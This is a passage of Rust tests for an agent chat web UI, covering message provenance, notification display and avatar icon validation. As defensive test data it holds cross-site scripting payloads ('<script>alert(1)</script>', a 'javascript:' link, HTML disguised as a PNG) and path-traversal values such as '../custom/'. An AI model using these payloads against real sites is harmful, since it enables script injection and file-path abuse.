13404        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13405        (tmp, home, ui, talk.id, repo)
13406    }
13407
13408    #[tokio::test]
13409    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13410        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13411        let mut conversation = ui.talks.get(&id).unwrap();
13412        talk::record(
13413            &mut conversation,
13414            &ui.talks,
13415            "# Update on a task you filed\noperator words",
13416            vec![],
13417        )
13418        .unwrap();
13419        // Simulate an old operator record; headings do not prove authorship.
13420        conversation.turns[0].sender = None;
13421        conversation.turns[0].messages.clear();
13422        ui.talks.put(&mut conversation).unwrap();
13423        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13424        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13425        talk::drain(&mut conversation, &ui.talks).unwrap();
13426        talk::record_reply(
13427            &mut conversation,
13428            &ui.talks,
13429            "about that report",
13430            vec![],
13431            Some(talk::ReplyTarget {
13432                turn: 1,
13433                message: 1,
13434            }),
13435        )
13436        .unwrap();
13437        conversation.turns[2].messages[0]
13438            .reply
13439            .as_mut()
13440            .unwrap()
13441            .sender = None;
13442        conversation.turns.push(talk::Turn {
13443            sender: Some(talk::Sender::Persona),
13444            who: talk::Who::Agent,
13445            body: "magi: actual persona words".into(),
13446            at: Timestamp::now(),
13447            attachments: vec![],
13448            usage: None,
13449            breaks: None,
13450            messages: vec![],
13451            posted_by: None,
13452        });
13453        ui.talks.put(&mut conversation).unwrap();
13454        let view = TalkView::with_config(
13455            ui.talks.get(&id).unwrap(),
13456            false,
13457            None,
13458            &ui.home,
13459            &ui.references,
13460        );
13461        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13462        assert_eq!(
13463            view.talk.turns[1].messages[0].sender,
13464            Some(talk::Sender::Operator)
13465        );
13466        assert_eq!(
13467            view.talk.turns[1].messages[1].sender,
13468            Some(talk::Sender::Magi)
13469        );
13470        assert_eq!(
13471            view.talk.turns[2].messages[0]
13472                .reply
13473                .as_ref()
13474                .unwrap()
13475                .sender,
13476            Some(talk::Sender::Magi)
13477        );
13478        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13479        assert_eq!(view.turn_messages_md[0].len(), 1);
13480        assert!(view.turn_messages_md[0][0].is_none());
13481        assert!(view.turn_messages_md[1][0].is_none());
13482        assert!(view.turn_messages_md[1][1].is_some());
13483    }
13484
13485    #[tokio::test]
13486    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13487        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13488        let mut conversation = ui.talks.get(&id).unwrap();
13489        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13490        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13491        talk::queue_notice(
13492            &mut conversation,
13493            &ui.talks,
13494            &body,
13495            "watch:123",
13496            &|_| false,
13497            None,
13498            display.clone(),
13499        )
13500        .unwrap();
13501        assert!(
13502            !talk::queue_notice(
13503                &mut conversation,
13504                &ui.talks,
13505                &body,
13506                "watch:123",
13507                &|_| false,
13508                None,
13509                display.clone()
13510            )
13511            .unwrap()
13512        );
13513        let saved = ui.talks.get(&id).unwrap();
13514        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13515        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13516        assert!(
13517            view.talk.turns[0].messages[0].display.is_none(),
13518            "operator copy stays literal"
13519        );
13520        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13521        assert!(view.turn_messages_md[0][0].is_none());
13522        let queued_md = view.pending_messages_md[0].clone();
13523        assert_eq!(
13524            queued_md,
13525            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13526        );
13527        talk::drain(&mut conversation, &ui.talks).unwrap();
13528        talk::record_reply(
13529            &mut conversation,
13530            &ui.talks,
13531            "Explain",
13532            vec![],
13533            Some(talk::ReplyTarget {
13534                turn: 1,
13535                message: 0,
13536            }),
13537        )
13538        .unwrap();
13539        let mut saved = ui.talks.get(&id).unwrap();
13540        assert_eq!(saved.turns[1].messages[0].body, body);
13541        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13542        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13543        assert!(!reply.excerpt.contains("automatic report"));
13544        reply.excerpt = body.chars().take(240).collect(); // old saved quote
13545        saved.turns[1].messages[0].display = None; // old MAGI send
13546        ui.talks.put(&mut saved).unwrap();
13547        let view = TalkView::with_config(
13548            ui.talks.get(&id).unwrap(),
13549            false,
13550            None,
13551            &ui.home,
13552            &ui.references,
13553        );
13554        assert_eq!(view.turn_messages_md[1][0], queued_md);
13555        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13556        assert!(
13557            !view.talk.turns[2].messages[0]
13558                .reply
13559                .as_ref()
13560                .unwrap()
13561                .excerpt
13562                .contains("automatic report")
13563        );
13564        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13565    }
13566
13567    #[tokio::test]
13568    async fn consultation_display_hides_directives_in_queue_and_history() {
13569        for node in [
13570            "implement",
13571            crate::land::APPROVAL_NODE,
13572            crate::github_text::ASK_NODE,
13573        ] {
13574            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13575            let mut question = Question::new(
13576                "run-123".into(),
13577                node.into(),
13578                "seat-1".into(),
13579                "Which backend?".into(),
13580                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13581                vec!["SQLite".into(), "Redis".into()],
13582            );
13583            ui.questions.put(&mut question).unwrap();
13584            let body = crate::prompt::chat_consult(&question);
13585            let mut conversation = ui.talks.get(&id).unwrap();
13586            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13587            assert!(
13588                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13589            );
13590            conversation = ui.talks.get(&id).unwrap();
13591            assert_eq!(conversation.pending_messages[0].body, body);
13592            assert!(body.contains("magi answer"));
13593            let mut legacy_pending = conversation.clone();
13594            legacy_pending.pending_messages[0].display = None;
13595            let legacy_view =
13596                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13597            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13598            assert!(legacy_md.contains("Question consultation"));
13599            assert!(!legacy_md.contains("magi answer"));
13600            let view =
13601                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13602            assert!(
13603                view.turn_messages_md[0][0].is_none(),
13604                "operator copy stays literal"
13605            );
13606            let queued_md = view.pending_messages_md[0].clone().unwrap();
13607            let rendered = serde_json::to_string(&queued_md).unwrap();
13608            for visible in [
13609                "Which backend?",
13610                "Context",
13611                "storage",
13612                "SQLite",
13613                "Redis",
13614                "<script>literal</script>",
13615            ] {
13616                assert!(rendered.contains(visible), "missing {visible}");
13617            }
13618            for directive in [
13619                "What to do",
13620                "magi answer",
13621                "Never answer it yourself",
13622                "Do not edit the repository",
13623            ] {
13624                assert!(!rendered.contains(directive), "exposed {directive}");
13625            }
13626            assert_eq!(
13627                view.talk.pending_messages[0].display,
13628                Some(crate::prompt::chat_consult_display(&question))
13629            );
13630            talk::drain(&mut conversation, &ui.talks).unwrap();
13631            let view =
13632                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13633            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13634            assert_eq!(conversation.turns[1].messages[0].body, body);
13635
13636            // Historical consultations lack a snapshot: show a safe placeholder
13637            // rather than parsing instructions or reconstructing mutable facts.
13638            conversation.turns[1].messages[0].display = None;
13639            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13640            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13641            assert!(legacy.contains("Question consultation"));
13642            assert!(!legacy.contains("magi answer"));
13643            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13644        }
13645    }
13646
13647    #[test]
13648    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13649        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13650        let (body, mut display) =
13651            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13652        display.facts = facts.into();
13653        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13654        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13655        let json = serde_json::to_string(&nodes).unwrap();
13656        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13657            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13658        }
13659        assert!(json.contains("<script>alert(1)</script>"));
13660        assert!(!json.contains("javascript:"));
13661        assert!(!json.contains("Tell the operator"));
13662        assert!(!json.contains("untrusted"));
13663        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13664        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13665        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13666        assert_eq!(
13667            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13668            md::to_nodes("# Status", &md::ImageBase::None),
13669        );
13670    }
13671
13672    #[tokio::test]
13673    async fn notification_display_recovers_exact_legacy_completion_references() {
13674        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13675        let mut conversation = ui.talks.get(&id).unwrap();
13676        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13677            id: "task-123",
13678            title: "Change",
13679            status: "done",
13680            reason: None,
13681            run: Some("run-123"),
13682            pr: None,
13683            summary: Some("Merge state unknown"),
13684        });
13685        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13686        conversation.turns[0].sender = None;
13687        conversation.turns[0].messages.clear();
13688        conversation.turns[0].breaks = None;
13689        conversation.pending = body.clone();
13690        conversation
13691            .completion_notices
13692            .push(crate::chat_notify::CompletionReference {
13693                task: "task-123".into(),
13694                run: Some("run-123".into()),
13695                notice: body.clone(),
13696            });
13697        ui.talks.put(&mut conversation).unwrap();
13698        let view = TalkView::with_config(
13699            ui.talks.get(&id).unwrap(),
13700            false,
13701            None,
13702            &ui.home,
13703            &ui.references,
13704        );
13705        assert_eq!(
13706            view.talk.turns[0].messages[0].display,
13707            Some(display.clone())
13708        );
13709        assert_eq!(view.talk.pending_messages[0].display, Some(display));
13710        assert_eq!(
13711            view.talk.turns[0].messages[0].sender,
13712            Some(talk::Sender::Magi)
13713        );
13714        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13715        conversation.completion_notices[0]
13716            .notice
13717            .push_str("different");
13718        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13719        assert!(view.talk.turns[0].messages.is_empty());
13720        assert!(view.talk.pending_messages.is_empty());
13721    }
13722
13723    #[tokio::test]
13724    async fn avatar_settings_report_states_and_inherit_after_corruption() {
13725        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13726        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13727            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13728        ))
13729        .await;
13730        let path = avatar_setting_path(home.path(), Some("rei"));
13731        let orphan = avatar_setting_path(home.path(), Some("removed"));
13732        save_icon_file(&orphan, icon).unwrap();
13733        for (saved, expected) in [
13734            (icon, "custom"),
13735            ("builtin", "builtin"),
13736            ("data:image/png;base64,!!!!", "inherit"),
13737            ("data:image/png;base64,PGh0bWw+", "inherit"),
13738            ("/tmp/avatar.png", "inherit"),
13739        ] {
13740            atomic_icon_write(&path, saved).unwrap();
13741            let catalog =
13742                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13743                    .await
13744                    .unwrap()
13745                    .0;
13746            let personas = catalog["personas"].as_array().unwrap();
13747            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13748            assert_eq!(rei["override_state"], expected);
13749            assert_eq!(rei["has_config_icon"], true);
13750            assert_eq!(rei["is_orphan"], false);
13751            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13752            assert_eq!(removed["override_state"], "custom");
13753            assert_eq!(removed["is_orphan"], true);
13754            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13755            assert_eq!(default["override_state"], "inherit");
13756            assert_eq!(default["has_config_icon"], false);
13757            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13758            assert_eq!(
13759                effective.as_deref(),
13760                Some(if expected == "builtin" { "" } else { icon })
13761            );
13762        }
13763    }
13764
13765    #[tokio::test]
13766    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13767        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13768        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13769            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13770        ))
13771        .await;
13772        let target = |id: Option<&str>| AvatarSettingsQuery {
13773            persona: id.map(str::to_owned),
13774            ..Default::default()
13775        };
13776        let original_config = config_for(&repo).await.unwrap();
13777        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13778        let original_prompt = persona::section_for(&original_persona, None);
13779        let before = talk_detail(State(ui.clone()), Path(id.clone()))
13780            .await
13781            .unwrap()
13782            .0;
13783        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13784            let _ = avatar_settings_put(
13785                State(ui.clone()),
13786                Query(target(persona)),
13787                Json(MagiIconUpload { icon: icon.into() }),
13788            )
13789            .await
13790            .unwrap();
13791            let path = avatar_setting_path(home.path(), persona);
13792            assert!(path.starts_with(home.path().join("avatars")));
13793            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13794            for bad in [
13795                "/tmp/image.png".to_owned(),
13796                "data:image/png;base64,!!!!".to_owned(),
13797                "data:image/png;base64,PGh0bWw+".to_owned(),
13798                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13799                format!(
13800                    "data:image/png;base64,{}",
13801                    "A".repeat(persona_icon::ICON_MAX_BYTES)
13802                ),
13803            ] {
13804                assert!(
13805                    avatar_settings_put(
13806                        State(ui.clone()),
13807                        Query(target(persona)),
13808                        Json(MagiIconUpload { icon: bad })
13809                    )
13810                    .await
13811                    .is_err()
13812                );
13813                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13814            }
13815        }
13816        assert!(read_magi_icon(home.path()).is_none());
13817        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13818        let after = talk_detail(State(ui.clone()), Path(id.clone()))
13819            .await
13820            .unwrap()
13821            .0;
13822        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13823        assert_ne!(
13824            before
13825                .personas
13826                .iter()
13827                .find(|p| p.id == "magi")
13828                .unwrap()
13829                .avatar,
13830            after
13831                .personas
13832                .iter()
13833                .find(|p| p.id == "magi")
13834                .unwrap()
13835                .avatar
13836        );
13837        let restarted = Arc::new(Ui::new(
13838            Queue::at(home.path().join("queue")),
13839            Questions::at(home.path().join("questions")),
13840            Talks::at(home.path().join("talks")),
13841            home.path().join("runs"),
13842            home.path().to_owned(),
13843            repo,
13844        ));
13845        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13846            .await
13847            .unwrap()
13848            .0;
13849        assert!(
13850            catalog["personas"]
13851                .as_array()
13852                .unwrap()
13853                .iter()
13854                .any(|p| p["id"] == "../custom/日本語")
13855        );
13856        for expected in ["custom", "default", "rei"] {
13857            assert!(
13858                catalog["personas"]
13859                    .as_array()
13860                    .unwrap()
13861                    .iter()
13862                    .any(|p| p["id"] == expected)
13863            );
13864        }
13865        let response =
13866            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
13867        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13868        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
13869            .await
13870            .unwrap();
13871        assert_eq!(
13872            effective_persona_icon(home.path(), "rei", Some(icon)),
13873            Some(String::new())
13874        );
13875        let response = talk_avatar(
13876            State(restarted.clone()),
13877            Path(id.clone()),
13878            Query(AvatarQuery {
13879                persona: Some("rei".into()),
13880                ..Default::default()
13881            }),
13882        )
13883        .await
13884        .unwrap();
13885        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
13886        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
13887            .await
13888            .unwrap()
13889            .0;
13890        assert_ne!(
13891            after
13892                .personas
13893                .iter()
13894                .find(|p| p.id == "rei")
13895                .unwrap()
13896                .avatar,
13897            reset
13898                .personas
13899                .iter()
13900                .find(|p| p.id == "rei")
13901                .unwrap()
13902                .avatar
13903        );
13904        let mut inherit = target(Some("rei"));
13905        inherit.inherit = Some("1".into());
13906        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13907            .await
13908            .unwrap();
13909        assert_eq!(
13910            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13911            Some(icon)
13912        );
13913        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13914            .await
13915            .unwrap();
13916        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13917        assert_eq!(
13918            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13919            Some(icon)
13920        );
13921        // Display changes never rewrite the conversation or its prompt-bearing config.
13922        let cfg = config_for(&ui.repo).await.unwrap();
13923        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13924        assert_eq!(persona::section_for(&resolved, None), original_prompt);
13925        assert!(!original_prompt.contains("data:image"));
13926        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13927        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13928        assert!(!stored.contains("data:image"));
13929        let mut orphan = ui.talks.get(&id).unwrap();
13930        orphan.persona = "../custom/日本語".into();
13931        let view = TalkView::with_config(
13932            orphan,
13933            false,
13934            Some(&cfg),
13935            home.path(),
13936            &id_links::IndexCache::default(),
13937        );
13938        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13939    }
13940
13941    #[tokio::test]
13942    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13943        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13944        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13945        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13946        let _ = magi_icon_put(
13947            State(ui.clone()),
13948            Json(MagiIconUpload { icon: icon.into() }),
13949        )
13950        .await
13951        .unwrap();
13952        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13953        assert_ne!(original, changed);
13954        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13955        let response = magi_avatar(
13956            State(ui.clone()),
13957            Query(AvatarQuery {
13958                persona: None,
13959                builtin: None,
13960            }),
13961        )
13962        .await;
13963        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13964        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13965        assert_eq!(
13966            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13967            "nosniff"
13968        );
13969        for bad in [
13970            "data:image/png;base64,PGh0bWw+".to_owned(),
13971            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13972            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13973        ] {
13974            assert!(save_magi_icon(home.path(), &bad).is_err());
13975            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13976        }
13977        // Re-opened server state reads the same independent home file.
13978        let restarted = Arc::new(Ui::new(
13979            Queue::at(home.path().join("queue")),
13980            Questions::at(home.path().join("questions")),
13981            Talks::at(home.path().join("talks")),
13982            home.path().join("runs"),
13983            home.path().to_path_buf(),
13984            repo,
13985        ));
13986        assert_eq!(
13987            magi_icon_get(State(restarted.clone())).await.0["avatar"],
13988            changed
13989        );
13990        let view = TalkView::with_config(
13991            restarted.talks.get(&id).unwrap(),
13992            false,
13993            None,
13994            &restarted.home,
13995            &restarted.references,
13996        );
13997        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13998        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13999        let response = magi_avatar(
14000            State(ui.clone()),
14001            Query(AvatarQuery {
14002                persona: None,
14003                builtin: None,
14004            }),
14005        )
14006        .await;
14007        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14008            .await
14009            .unwrap();
14010        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14011        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14012        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14013        let _ = magi_icon_delete(State(ui)).await.unwrap();
14014    }
14015
14016    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14017    async fn avatar(
14018        ui: &Arc<Ui>,
14019        id: &str,
14020        persona: Option<&str>,
14021        builtin: bool,
14022    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14023        let res = talk_avatar(
14024            State(Arc::clone(ui)),
14025            Path(id.to_owned()),
14026            Query(AvatarQuery {
14027                persona: persona.map(str::to_owned),
14028                builtin: builtin.then(|| "1".to_owned()),
14029            }),
14030        )
14031        .await
14032        .expect("an avatar is never an error response");
14033        let h = res.headers();
14034        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14035        let nosniff = h
14036            .get(header::X_CONTENT_TYPE_OPTIONS)
14037            .is_some_and(|v| v == "nosniff");
14038        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14039        let status = res.status();
14040        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14041            .await
14042            .expect("body")
14043            .to_vec();
14044        (status, ct, nosniff, csp, body)
14045    }
14046
14047    fn tiny_png() -> Vec<u8> {
14048        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14049        b.extend_from_slice(&[0u8; 32]);
14050        b
14051    }
14052
14053    #[tokio::test]
14054    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14055        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14056        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14057        assert_eq!(res.status(), StatusCode::OK);
14058        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14059        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14060        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14061        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14062        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14063            .await
14064            .unwrap();
14065        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14066        assert_ne!(
14067            persona_icon::operator_svg(),
14068            persona_icon::builtin_svg("default")
14069        );
14070    }
14071
14072    #[tokio::test]
14073    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14074        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14075        for p in [
14076            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14077        ] {
14078            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14079            assert_eq!(status, StatusCode::OK, "{p}");
14080            assert_eq!(ct, "image/svg+xml", "{p}");
14081            assert!(nosniff && csp, "{p}");
14082            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14083        }
14084        // No `persona` means the conversation's own; unknown ones fall back.
14085        let own = avatar(&ui, &id, None, false).await;
14086        let default = avatar(&ui, &id, Some("default"), false).await;
14087        assert_eq!(own.4, default.4);
14088        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14089        assert_eq!(unknown.1, "image/svg+xml");
14090    }
14091
14092    #[tokio::test]
14093    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14094        let dir = TempDir::new().expect("icons");
14095        let good = dir.path().join("good.png");
14096        std::fs::write(&good, tiny_png()).unwrap();
14097        let spoof = dir.path().join("spoof.png");
14098        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14099        let big = dir.path().join("big.png");
14100        let mut bytes = tiny_png();
14101        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14102        std::fs::write(&big, bytes).unwrap();
14103        let missing = dir.path().join("missing.png");
14104        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14105        let extra = format!(
14106            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14107             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14108             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14109             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14110             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14111             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14112            uri(&good),
14113            uri(&spoof),
14114            uri(&big),
14115            uri(&missing),
14116        );
14117        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14118
14119        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14120        assert_eq!(
14121            (status, ct.as_str(), nosniff),
14122            (StatusCode::OK, "image/png", true)
14123        );
14124        assert_eq!(body, tiny_png());
14125        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14126        assert_eq!(ct, "image/png", "data URI");
14127
14128        for p in ["misato", "asuka", "shinji", "magi"] {
14129            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14130            assert_eq!(
14131                (status, ct.as_str(), csp),
14132                (StatusCode::OK, "image/svg+xml", true),
14133                "{p}"
14134            );
14135            assert!(body.starts_with(b"<svg"), "{p}");
14136        }
14137        // The page's own retry skips the icon.
14138        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14139        assert_eq!(ct, "image/svg+xml");
14140    }
14141
14142    #[tokio::test]
14143    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14144        let oversized = format!(
14145            "data:image/png;base64,{}",
14146            "A".repeat(persona_icon::ICON_MAX_BYTES)
14147        );
14148        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14149            let extra = format!(
14150                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14151            );
14152            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14153            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14154                .await
14155                .expect("detail with invalid icon");
14156            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14157            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14158            assert_eq!(status, StatusCode::OK);
14159            assert_eq!(ct, "image/svg+xml");
14160            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14161            let Json(view) = talk_persona(
14162                State(Arc::clone(&ui)),
14163                Path(id.clone()),
14164                Json(TalkPersona {
14165                    persona: "custom".into(),
14166                }),
14167            )
14168            .await
14169            .expect("persona switch with invalid icon");
14170            assert_eq!(view.talk.persona, "custom");
14171            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14172        }
14173    }
14174
14175    #[tokio::test]
14176    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14177        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14178        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14179        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14180        assert_eq!(
14181            (status, ct.as_str(), nosniff, csp),
14182            (StatusCode::OK, "image/svg+xml", true, true)
14183        );
14184    }
14185
14186    #[tokio::test]
14187    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14188        let (_t, _h, ui, id, _repo) =
14189            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14190        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14191            .await
14192            .expect("detail");
14193        let json = serde_json::to_string(&detail).unwrap();
14194        assert!(
14195            !json.contains("secret"),
14196            "the icon setting must not leak: {json}"
14197        );
14198        assert!(
14199            detail
14200                .view
14201                .persona_avatar
14202                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14203        );
14204        assert_eq!(
14205            detail.view.operator_avatar,
14206            format!(
14207                "/avatars/operator.svg?v={}",
14208                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14209            )
14210        );
14211        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14212        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14213        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14214        assert!(rei.avatar.contains("persona=rei&v="));
14215        assert_ne!(
14216            rei.avatar.split("&v=").nth(1),
14217            plain.avatar.split("&v=").nth(1)
14218        );
14219    }
14220
14221    #[tokio::test]
14222    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14223        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14224        let cfg = config_for(&repo).await.unwrap();
14225        for arrived in [false, true] {
14226            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14227            let observed = ui.queued_generation(&id);
